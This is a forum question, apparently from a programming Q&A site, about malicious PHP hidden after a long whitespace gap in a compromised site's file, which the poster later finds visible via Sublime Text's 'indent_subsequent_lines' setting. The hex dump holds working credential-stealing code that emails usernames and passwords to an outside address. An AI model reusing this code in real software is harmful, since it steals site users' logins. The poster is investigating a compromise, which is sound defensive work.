I recently came across a php file on a compromised website that had what appeared (in Sublime Text) to be a huge white-space gap. When I run a diff against the original source file I can clearly see the malicious code which is snagging logins and passwords and emailing them to someone.
The malicious code can also be clearly seen using vim.
My assumption is that this is some kind of encoding exploit but I can't for the life of me figure out how it's being hidden and I've never seen anything like this before.
Is anyone familiar with this kind of hidden code exploit? Is there a way to make it visible inside Sublime? I realize it may be difficult to say without seeing the file - I am happy to provide said file if need be.
EDIT - Hex dump as requested:
0000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
*
00000c0 20 20 20 20 20 20 20 20 20 69 66 28 24 74 68 69
00000d0 73 2d 3e 75 73 65 72 2d 3e 6c 6f 67 69 6e 28 24
00000e0 74 68 69 73 2d 3e 72 65 71 75 65 73 74 2d 3e 70
00000f0 6f 73 74 5b 27 75 73 65 72 6e 61 6d 65 27 5d 2c
0000100 20 24 74 68 69 73 2d 3e 72 65 71 75 65 73 74 2d
0000110 3e 70 6f 73 74 5b 27 70 61 73 73 77 6f 72 64 27
0000120 5d 29 29 7b 24 73 6d 61 69 6c 3d 24 5f 53 45 52
0000130 56 45 52 5b 27 48 54 54 50 5f 48 4f 53 54 27 5d
0000140 2e 24 5f 53 45 52 56 45 52 5b 27 52 45 51 55 45
0000150 53 54 5f 55 52 49 27 5d 2e 22 7c 22 2e 24 74 68
0000160 69 73 2d 3e 72 65 71 75 65 73 74 2d 3e 70 6f 73
0000170 74 5b 27 75 73 65 72 6e 61 6d 65 27 5d 2e 22 7c
0000180 22 2e 24 74 68 69 73 2d 3e 72 65 71 75 65 73 74
0000190 2d 3e 70 6f 73 74 5b 27 70 61 73 73 77 6f 72 64
00001a0 27 5d 3b 6d 61 69 6c 28 22 61 6c 74 2e 65 69 2d
00001b0 36 6f 6b 36 77 36 76 32 40 79 6f 70 6d 61 69 6c
00001c0 2e 63 6f 6d 22 2c 24 5f 53 45 52 56 45 52 5b 27
00001d0 48 54 54 50 5f 48 4f 53 54 27 5d 2c 24 73 6d 61
00001e0 69 6c 2c 22 46 72 6f 6d 3a 20 61 64 6d 69 6e 40
00001f0 66 6c 79 2e 63 6f 6d 5c 72 5c 6e 52 65 70 6c 79
0000200 2d 74 6f 3a 20 61 6c 74 2e 65 69 2d 36 6f 6b 36
0000210 77 36 76 32 40 79 6f 70 6d 61 69 6c 2e 63 6f 6d
0000220 22 29 3b
0000223
indent_subsequent_lines
the text becomes visible - however that really makes everything else ugly. I wish there were a setting to keep lines indented but side scroll if the indented column was smaller than X. As is often the case, your question led to understanding and a solution. I'm not even sure this question is on topic here. I'd defer to you and delete it if you think it should go. lmk and thanks!